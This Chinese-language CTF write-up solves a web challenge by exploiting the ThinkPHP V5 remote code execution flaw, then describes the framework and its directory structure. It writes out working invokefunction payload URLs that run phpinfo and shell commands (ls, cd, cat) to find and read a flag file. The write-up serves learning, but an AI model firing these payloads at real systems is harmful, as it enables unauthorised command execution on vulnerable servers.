我的解题过程
- 访问网站,网页为ThinkPHP V5的页面,所以猜测要利用ThinkPHP V5的远程代码执行漏洞
- 网上搜索payload,index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1,成功回显phpinfo(),说明存在漏洞
- 遍历目录寻找flag,ip:port//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=ls,返回网页内容为”static”
- 进入static,查看文件夹内容,ip:port/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=cd%20static;ls,返回网页内容为空
- 发现ls只会返回来一行,所以可以通过head命令,查看特定的某一行
- 最后ip:port/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=cd /;ls -l|head -n 6,发现了flag文件,网页返回内容为“-rw-r–r– 1 root root 20 Jul 29 2019 flag”
- 访问该文件内容,ip:port/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=cd% /;cat flag;,网页返回内容为”flag{thinkphp5_rce}”
- 提交flag,答案正确。
独立思考
1. ThinkPHP是什么?
ThinkPHP是一个快速、兼容而且简单的轻量级PHP开发框架。它使用了面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib、RoR的ORM映射和ActiveRecord模式。
本题中的页面就是ThinkPHP安装完成后的起始页面,所以该页面本身没有注入点,注入点在框架本身。
其目录结构为:
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─...... ......
│
├─config 应用配置目录
│
├─route 路由定义目录
│ ├─route.php 路由定义
│ └─... 更多
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─start.php 框架入口文件
│ └─..... ......
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─think 命令行入口文件
产生过的疑问
- ThinkPHP是什么?